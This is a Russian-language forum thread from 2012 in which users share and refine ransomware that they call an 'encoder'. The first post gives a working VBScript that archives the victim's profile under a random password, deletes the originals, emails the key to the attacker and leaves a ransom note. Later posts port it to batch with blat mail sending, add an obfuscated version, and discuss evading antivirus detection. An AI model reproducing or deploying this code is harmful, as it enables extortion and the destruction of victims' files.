Простой энкодер на VBScript

Тема в разделе "Статьи", создана пользователем j0sur, 25 мар 2012.

  1. j0sur
    j0sur Новичок
    Симпатии:
    7
    Навеяно _http://vazonez.com/page/bat-ransom.
    Энкодер -- простая программа-вымогатель, требующая денег, за востановление доступа к файлам. За основу взят скрипт vazonez'а, правда несколько улучшенный блягодаря переходу на VBS.
    Несколько улучшений​

    Итак, что мы можем улучшить? При использовании batch есть существенный недостаток -- невозможно зделать так, что бы мы всегда знали пароль от аржива, а юзер нет.
    Поскольку мы пишем на VBS, решим эту проблему так:
    1. Скрипт генерирует уникальные ключ и пароль пользователя(никак не взаимосвязаны)
    2. отправляет их на мыло хозяина
    3. шифрует файлы(ну ладно, архивирует)
    4. оставляет пользователю только ключ
    Скрипт должен подчищать за собой(оставлю это Вам).
    Файл rar.exe должен лежать рядом со скриптом(вдруг его нет в системе).
    Код​


    Код:
    option explicit
    dim wshshell
    Set WshShell = CreateObject("WScript.Shell")
    'Run(<Command>,<WindowStyle>,<WaitOnReturn>)
    'command -- комманда(%comspec% заменяет cmd.exe)
    'WindowStyle -- стиль окна(ниже основные константы), необязательно
    'WaitOnReturn -- стоит ли дожидаться окончания программы до продолжения(true/false), необязательно
    const ShowWindow=1 'показать окно программы
    const DontShowWindow=0 'скрытный запуск программы
    
    'Настройки:
    '==================================================================================
    	Const EmailFrom = ""   				' ящик отправитель
    	Const EmailPassword = ""	        ' пароль от ящика отправителя
    	Const strSmtpServer = "smtp.mail.ru"' smtp сервер
    	Const EmailTo = ""        			' e-mail получатель
    	
    	dim VictimDir 									' директория-жертва
    	victimdir=wshShell.ExpandEnvironmentStrings("%userprofile%") & "\*"
    	
    	dim Desktop										' рабочий стол юзера
    	desktop=WshShell.SpecialFolders("Desktop")
    	
    	dim OutFile										' временный файл
    	outfile=wshShell.ExpandEnvironmentStrings("%temp%") & "\AllYourFiles.rar"
    	
    	dim CommentFile									' файл с коментами(отключено)
    	commentfile=wshShell.ExpandEnvironmentStrings("%temp%") & "\comment.txt"
    	
    	
    '==================================================================================
    
    dim UserKey, UserPwd
    userkey=getpass(15)	' код пользователя
    userpwd=getpass(20)	' пароль пользователя, им будем шифровать
    
    sendemail(userkey & ":" & userpwd) 'отправляем себе письмо с кодом пользователя и парлолем для него
    wshshell.run "Rar.exe a -r -y -ri15 -df -m0 -inul -p" & userpwd & " """ & outfile & """ """ & victimdir & """ ",dontshowwindow, true
    createcomment ' Создаем файл с комментариями
    wshshell.run "Rar.exe c """ & outfile & """ -z""" & commentfile & """ ", dontshowwindow, true 
    createfolder(desktop) 'создаем папку рабочего стола(т.к. она была удалена при архивировании)
    wshshell.run "cmd /c copy /y """ & outfile & """ """ & desktop & "\Все твои файлы.rar""", dontshowwindow, true 
    
    sub SendEmail(msg)
    	dim objEMail
    	Set objEmail = CreateObject("CDO.Message")
    
    	objEmail.From = EmailFrom
    	objEmail.To = EmailTo
    	objEmail.Subject = "Project says: " & msg
    	objEmail.Textbody = msg
    	objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    	objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    	objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = EmailFrom
    	objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = EmailPassword
    	objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSmtpServer
    	objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    	objEmail.Configuration.Fields.Update
    	objEmail.Send
    
    end sub
    
    function GetPass(l)
    	randomize
    	const glasn="euioa1234567890" 
    	const sogl="qwrtypsdfghjklzxcvbnm"
    
    	dim i,out
    	for i=1 to l
    		dim t
    		t=int(1000*rnd) mod 2
    		if t=0 then 
    			out=out & mid(glasn,(len(glasn)-1)*rnd+1,1)
    		else
    			out=out & mid(sogl,(len(sogl)-1)*rnd+1,1)
    		end if
    	next
    	getpass=out
    end function
    
    Sub CreateComment()
      Dim fso, tf
      Set fso = CreateObject("Scripting.FileSystemObject")
      Set tf = fso.CreateTextFile(commentfile, True)
      ' Вставка строки с переносом на новую.
      tf.WriteLine("Здравствуй.") 
      tf.WriteLine("В этом архиве все твои документы.") 
      tf.WriteLine("Если хочеш получить пароль, свяжись с нами по #########.") 
      tf.WriteLine("Незабудь указать свой номер пользователя(" & userkey & ")") 
    
      ' Закрытие файла.
      tf.Close
    End Sub
    
    sub CreateFolder(name)
    	dim objFSO,objFolder
    	Set objFSO = CreateObject("Scripting.FileSystemObject")
    	Set objFolder = objFSO.CreateFolder(name) 
    end sub
    
    Проверен лично на виртуалке под ХРюшкой, но будет работать и на 7-ке(я уверен почти на 100%)
    Как обычно, буду рад вашим комментариям и уточнениям, и прошу прощения, что так и не научился правильно оформлять статьи*mrgreen*.
     
    25 мар 2012
  2. vlader
    vlader Guest
    j0sur, смысл в коде пользователя? Я бы это всё реализовал на бат. Правда вес был бы больше.
    Кто-то отменил %random%?
     
    Последнее редактирование модератором: 25 мар 2012
    25 мар 2012
  3. j0sur
    j0sur Новичок
    Симпатии:
    7
    Да вродь нет:) Но прийдется тащить с собой еще и blat(или аналог). А так все просто, компактно, эстетично(более-менее)

    Добавлено через 4 минуты
    Да и как с помощью %random% реализовать буквенно-цифровой пароль? Городить огромный код? Да и не надежно. Так, например,
    Код:
    %random%%random%%random%%random%
    при хорошем раскладе даст 20-ти значный пароль, но при плохом вплоть до 5-6.
     
    Последнее редактирование: 25 мар 2012
    25 мар 2012
  4. vlader
    vlader Guest
    j0sur,
    Код:
    set /a key=%random%*%random%*%random%
    Судя по моему эксперименту, %random% не может быть числом с количеством разрядов меньше 3. Для буквенно-цифрового пароля можно использовать стороннею утилиту. Да, я чувствую,что размер будет под мегабайт.
     
    25 мар 2012
  5. j0sur
    j0sur Новичок
    Симпатии:
    7
    Да. Впринципе, можно сделать, так сказать, композитного зверя: отправку почты и генерацию пароля возложить на VBS, а файлами манипулировать с batch(все таки, он лучше подходит для этих целей)

    Добавлено через 8 минут
    А вот и неправда:)
    Скрипт:
    Код:
    @echo off
    set outfile=basterout.txt
    echo Buster start at %time% >> %outfile%
    
    :main
    	set /a r=%random%
    	if %r%==0 goto main
    	if %r% lss 100 echo Find %r% at %time% >> %outfile%
    	
    goto main
    :end
    
    Вывод:
    Код:
    Buster start at 20:10:27,87 
    Find 58 at 20:10:27,98 
    Find 6 at 20:10:29,71 
    Find 93 at 20:10:29,81 
    Find 53 at 20:10:30,35 
    Find 97 at 20:10:30,40 
    Find 32 at 20:10:30,71 
    Find 11 at 20:10:31,03 
    Find 19 at 20:10:31,24 
    Find 85 at 20:10:31,30 
    Find 72 at 20:10:31,50 
    Find 66 at 20:10:31,72 
    Find 5 at 20:10:31,75 
    Find 15 at 20:10:31,78 
    Find 73 at 20:10:32,06 
    Find 38 at 20:10:32,65 
    Find 53 at 20:10:32,81 
    Find 51 at 20:10:32,97 
    Find 96 at 20:10:33,18 
    Find 34 at 20:10:33,42 
    Find 64 at 20:10:33,96 
    Find 65 at 20:10:34,66 
    Find 29 at 20:10:34,76 
    Find 48 at 20:10:34,96 
    Find 77 at 20:10:35,11 
    Find 38 at 20:10:35,31 
    Find 78 at 20:10:35,32 
    Find 66 at 20:10:35,46 
    Find 62 at 20:10:35,89 
    Find 50 at 20:10:36,42 
    Find 10 at 20:10:36,65 
    Find 82 at 20:10:36,85 
    Find 74 at 20:10:37,77 
    Find 92 at 20:10:38,02 
    Find 59 at 20:10:38,24 
    Find 41 at 20:10:38,72 
    Find 76 at 20:10:38,74 
    Find 93 at 20:10:39,13 
    Find 66 at 20:10:39,92 
    Find 28 at 20:10:41,96 
    Find 13 at 20:10:42,61 
    Find 43 at 20:10:42,69 
    Find 18 at 20:10:42,92 
    
    
    Добавлено через 1 минуту
    Даж с одним есть:)
     
    Последнее редактирование: 25 мар 2012
    25 мар 2012
  6. vlader
    vlader Guest
    j0sur, да. Идея хорошая, но отправка почты средствами vbs не работает. Я тут подумал, а ведь твою функцию GetPass можно реализовать на бат.
     
    25 мар 2012
  7. j0sur
    j0sur Новичок
    Симпатии:
    7
    CDO.message?
    Хм... Думаю да, но интересно глянуть(ну или просто намекни как:))
     
    25 мар 2012
  8. vlader
    vlader Guest
    j0sur, пожалйста объясни как это получается.
    Код:
    mid(glasn,(len(glasn)-1)*rnd+1,1)
    Код:
    len(glasn)-1)*rnd+1,1
    Длина glasn=15
    15-1=14
    14*10=140
    140+1,1=141,1
    Откуда взялось 9,354868...
     
    25 мар 2012
  9. j0sur
    j0sur Новичок
    Симпатии:
    7
    Код:
    len(glasn)-1)*rnd+1
    Длина glasn=15
    15-1=14
    14*10=140
    140+1=141
    Та единица -- третий аргумент mid().
    А где ты его нашел?
     
    26 мар 2012
  10. j0sur
    j0sur Новичок
    Симпатии:
    7
    Кстати, почему 10? В VB rnd возвращает дробое число от 0 до 1.
     
    26 мар 2012
  11. vlader
    vlader Guest
    j0sur, бат не поддерживает дроби. Я думаю придётся изменить механизм работы.
     
    26 мар 2012
  12. j0sur
    j0sur Новичок
    Симпатии:
    7
    vlader, давай перенесем это обсуждение в личку?
     
    26 мар 2012
  13. vlader
    vlader Guest
    Энкодер на бат с минимальными потерями в функционале. В папке с энкодером должны лежать rar.exe и blat.
    Код:
    @echo off
    setlocal enabledelayedexpansion
    set file="%temp%\AllYourFiles.rar"
    set %username%=логин от мыла на яндаксе
    set %userpass%=пароль от мыла на яндаксе
    set arch=%userprofile% что архивить
    rem =====================================
    call :pass 10
    set userkey=%qaz%
    call :pass 15
    set archkey=%qaz%
    call :commentfile
    rar.exe a -r -y -ri15 -df -m0 -inul -p%archkey% %file% "%arch%"
    rar.exe c  %file% -z%comfile%
    blat.exe -install -server smtp.yandex.ru -port 25 -f %username%@yandex.ru -u %usename% -pw %userpass%
    blat.exe -to %username%@yandex.ru -subject "Encoder alarm!" -body "Userkey - %userkey%. Archkey - %archkey%. Computername - %computername%"
    move /y %file% %systemdrive%\
    exit
    :pass
    set a=1
    :a
    set /a cur="%random% %% 36"
    set q=%%rc:~
    set w=%q%%cur%
    set e=%w%,1%%
    echo set rc=qwrtypsdfghjklzxcvbnmeuioa1234567890 >13.bat
    echo echo %e% ^> ax.txt>> 13.bat
    echo exit >> 13.bat
    start 13.bat
    ping 127.0.0.1 -n 2
    set /p qax= <ax.txt
    set qac=%qax:~0,1%
    set qaz=%qaz%%qac%
    if %a% == %1 goto ex 
    set /a a=%a%+1
    goto a
    :ex
    del /q /f 13.bat
    del /q /f ax.txt
    exit /b
    :commentfile
    set comfile="%temp%\c.txt"
    echo Здравствуй. > %comfile%
    echo В этом архиве все твои документы. >> %comfile%
    echo Если хочеш получить пароль, свяжись с нами по %username%@yandex.ru. >> %comfile%
    echo Незабудь указать свой номер пользователя %userkey% >> %comfile%
    exit /b
     
    28 мар 2012
  14. j0sur
    j0sur Новичок
    Симпатии:
    7
    vlader, я думал это мои коды невозможно читать*mrgreen*. Пошел разбираться...

    Добавлено через 1 минуту
    Плюс каспер ругается на blat(не как на вирус, но о беспаливности можно забыть). Прийдется использовать другой почтовик.

    Добавлено через 1 минуту
    Вот так, ИМХО лучше:
    Код:
    @echo off
    
    setlocal enabledelayedexpansion
    set file="%temp%\AllYourFiles.rar"
    set %username%=логин от мыла на яндаксе
    set %userpass%=пароль от мыла на яндаксе
    set arch=%userprofile% что архивить
    rem =====================================
    
    call :pass 10
    set userkey=%qaz%
    call :pass 15
    set archkey=%qaz%
    call :commentfile
    
    rar.exe a -r -y -ri15 -df -m0 -inul -p%archkey% %file% "%arch%"
    rar.exe c  %file% -z%comfile%
    
    blat.exe -install -server smtp.yandex.ru -port 25 -f %username%@yandex.ru -u %usename% -pw %userpass%
    blat.exe -to %username%@yandex.ru -subject "Encoder alarm!" -body "Userkey - %userkey%. Archkey - %archkey%. Computername - %computername%"
    move /y %file% %systemdrive%\
    exit
    
    :pass
    set a=1
    :a
    	set /a cur="%random% %% 36"
    	set q=%%rc:~
    	set w=%q%%cur%
    	set e=%w%,1%%
    	echo set rc=qwrtypsdfghjklzxcvbnmeuioa1234567890 >13.bat
    	echo echo %e% ^> ax.txt>> 13.bat
    	echo exit >> 13.bat
    	start 13.bat
    	ping 127.0.0.1 -n 2
    	set /p qax= <ax.txt
    	set qac=%qax:~0,1%
    	set qaz=%qaz%%qac%
    	if %a% == %1 goto ex 
    	set /a a=%a%+1
    goto a
    
    :ex
    	del /q /f 13.bat
    	del /q /f ax.txt
    exit /b
    
    :commentfile
    	set comfile="%temp%\c.txt"
    	echo Здравствуй. > %comfile%
    	echo В этом архиве все твои документы. >> %comfile%
    	echo Если хочеш получить пароль, свяжись с нами по %username%@yandex.ru. >> %comfile%
    	echo Незабудь указать свой номер пользователя %userkey% >> %comfile%
    exit /b
    
     
    Последнее редактирование: 28 мар 2012
    28 мар 2012
  15. vlader
    vlader Guest
    j0sur, зачем нужны лишние символы табуляции. Это не для чтения.

    Добавлено через 1 час 11 минут
    Ругается на blat? Хммммм
     
    Последнее редактирование модератором: 28 мар 2012
    28 мар 2012
  16. j0sur
    j0sur Новичок
    Симпатии:
    7
    vlader, ну, в таком случае можно было и криптонуть все кроме настроек:). ИМХО лишние символы нужно убирать только перед "боевым" применением, и то только для того, что бы уменьшить размер скрипта.
     
    28 мар 2012
  17. vlader
    vlader Guest
    j0sur, закриптовать можно.
    Код:
    @echo off
    setlocal enabledelayedexpansion
    set file="%temp%\AllYourFiles.rar"
    set %username%=логин от мыла на яндаксе
    set %userpass%=пароль от мыла на яндаксе
    set arch=%userprofile% что архивить
    rem =====================================
    @set j=@set
    %j% x48=$
    %j% tkd=f
    %j% cjh=)
    %j% wxd=k
    %j% utz=@
    %j% asy=c
    %j% s4n=8
    %j% kpe=a
    %j% mmu=2
    %j% esy=g
    %j% nos=9
    %j% lf3=*
    %j% oic=3
    %j% te1=z
    %j% w7j=(
    %j% p93=p
    %j% hxv=e
    %j% rbb=l
    %j% uto=q
    %j% j17=0
    %j% bjl=4
    %j% ozq=i
    %j% jjz=#
    %j% la4=!
    %j% e61=6
    %j% lqy=j
    %j% f1m=d
    %j% voo=n
    %j% wh9=x
    %j% guy=s
    %asy%%kpe%%rbb%%rbb% :%p93%%kpe%%guy%%guy% 1%j17%
    %guy%%hxv%t u%guy%%hxv%r%wxd%%hxv%y=%%uto%%kpe%%te1%%
    %asy%%kpe%%rbb%%rbb% :%p93%%kpe%%guy%%guy% 15
    %guy%%hxv%t %kpe%r%asy%h%wxd%%hxv%y=%%uto%%kpe%%te1%%
    %asy%%kpe%%rbb%%rbb% :%asy%omm%hxv%%voo%t%tkd%%ozq%%rbb%%hxv%
    r%kpe%r.%hxv%%wh9%%hxv% %kpe% -r -y -r%ozq%15 -%f1m%%tkd% -m%j17% -%ozq%%voo%u%rbb% -%p93%%%kpe%r%asy%h%wxd%%hxv%y% %%tkd%%ozq%%rbb%%hxv%% "%%kpe%r%asy%h%"
    r%kpe%r.%hxv%%wh9%%hxv% %asy%  %%tkd%%ozq%%rbb%%hxv%% -%te1%%%asy%om%tkd%%ozq%%rbb%%hxv%%
    b%rbb%%kpe%t.%hxv%%wh9%%hxv% -%ozq%%voo%%guy%t%kpe%%rbb%%rbb% -%guy%%hxv%rv%hxv%r %guy%mt%p93%.y%kpe%%voo%%f1m%%hxv%%wh9%.ru -%p93%ort %mmu%5 -%tkd% %u%guy%%hxv%r%voo%%kpe%m%hxv%%%utz%y%kpe%%voo%%f1m%%hxv%%wh9%.ru -u %u%guy%%hxv%%voo%%kpe%m%hxv%% -%p93%w %u%guy%%hxv%r%p93%%kpe%%guy%%guy%%
    b%rbb%%kpe%t.%hxv%%wh9%%hxv% -to %u%guy%%hxv%r%voo%%kpe%m%hxv%%%utz%y%kpe%%voo%%f1m%%hxv%%wh9%.ru -%guy%lqy%%hxv%%asy%t "E%voo%%asy%o%f1m%%hxv%r %kpe%%rbb%%kpe%rm%la4%" -bo%f1m%y "U%guy%%hxv%r%wxd%%hxv%y - %u%guy%%hxv%r%wxd%%hxv%y%. Ar%asy%h%wxd%%hxv%y - %%kpe%r%asy%h%wxd%%hxv%y%. Com%p93%ut%hxv%r%voo%%kpe%m%hxv% - %%asy%om%p93%ut%hxv%r%voo%%kpe%m%hxv%%"
    mov%hxv% /y %%tkd%%ozq%%rbb%%hxv%% %%guy%y%guy%t%hxv%m%f1m%r%ozq%v%hxv%%\
    %hxv%%wh9%%ozq%t
    :%p93%%kpe%%guy%%guy%
    %guy%%hxv%t %kpe%=1
    :%kpe%
    %guy%%hxv%t /%kpe% %asy%ur="%r%kpe%%voo%%f1m%om% %% %oic%%e61%"
    %guy%%hxv%t %uto%=%%r%asy%:~
    %guy%%hxv%t w=%%uto%%%%asy%ur%
    %guy%%hxv%t %hxv%=%w%,1%%
    %hxv%%asy%ho %guy%%hxv%t r%asy%=%uto%wrty%p93%%guy%%f1m%%tkd%%esy%h%lqy%%wxd%%rbb%%te1%%wh9%%asy%vb%voo%m%hxv%u%ozq%o%kpe%1%mmu%%oic%%bjl%5%e61%7%s4n%%nos%%j17% >1%oic%.b%kpe%t
    %hxv%%asy%ho %hxv%%asy%ho %%hxv%% ^> %kpe%%wh9%.t%wh9%t>> 1%oic%.b%kpe%t
    %hxv%%asy%ho %hxv%%wh9%%ozq%t >> 1%oic%.b%kpe%t
    %guy%t%kpe%rt 1%oic%.b%kpe%t
    %p93%%ozq%%voo%%esy% 1%mmu%7.%j17%.%j17%.1 -%voo% %mmu%
    %guy%%hxv%t /%p93% %uto%%kpe%%wh9%= <%kpe%%wh9%.t%wh9%t
    %guy%%hxv%t %uto%%kpe%%asy%=%%uto%%kpe%%wh9%:~%j17%,1%
    %guy%%hxv%t %uto%%kpe%%te1%=%%uto%%kpe%%te1%%%%uto%%kpe%%asy%%
    %ozq%%tkd% %%kpe%% == %1 %esy%oto %hxv%%wh9% 
    %guy%%hxv%t /%kpe% %kpe%=%%kpe%%+1
    %esy%oto %kpe%
    :%hxv%%wh9%
    %f1m%%hxv%%rbb% /%uto% /%tkd% 1%oic%.b%kpe%t
    %f1m%%hxv%%rbb% /%uto% /%tkd% %kpe%%wh9%.t%wh9%t
    %hxv%%wh9%%ozq%t /b
    :%asy%omm%hxv%%voo%t%tkd%%ozq%%rbb%%hxv%
    %guy%%hxv%t %asy%om%tkd%%ozq%%rbb%%hxv%="%t%hxv%m%p93%%\%asy%.t%wh9%t"
    %hxv%%asy%ho Здравствуй. > %%asy%om%tkd%%ozq%%rbb%%hxv%%
    %hxv%%asy%ho В этом архиве все твои документы. >> %%asy%om%tkd%%ozq%%rbb%%hxv%%
    %hxv%%asy%ho Если хочеш получить пароль, свяжись с нами по %u%guy%%hxv%r%voo%%kpe%m%hxv%%%utz%y%kpe%%voo%%f1m%%hxv%%wh9%.ru. >> %%asy%om%tkd%%ozq%%rbb%%hxv%%
    %hxv%%asy%ho Незабудь указать свой номер пользователя %u%guy%%hxv%r%wxd%%hxv%y% >> %%asy%om%tkd%%ozq%%rbb%%hxv%%
    %hxv%%wh9%%ozq%t /b
     
    28 мар 2012
  18. j0sur
    j0sur Новичок
    Симпатии:
    7
    vlader, вот и я об этом, такой код можно лишь настроить настолько, насколько это предусмотренно(без дешифровки, конечно), но никак не бегло взглянуть и узнать принцип работы.

    Добавлено через 12 минут
    И по-поводу blat, сейчас нет возможности проверить, но, если не ошибаюсь, архив, содержащий bat-файл с вызовом blat + blat.exe, детектируется как not-virus.blat.a(если не ошибаюсь).

    Добавлено через 3 минуты
    И забыл написать, классная реализация генератора пассов.
     
    Последнее редактирование: 28 мар 2012
    28 мар 2012
  19. vlader
    vlader Guest
    j0sur, да будут мелькать окошки, но если надо, то и это можно исправить.
     
    28 мар 2012
  20. j0sur
    j0sur Новичок
    Симпатии:
    7
    С помощью VBS или стороннего софта:)?
     
    1 апр 2012
Загрузка...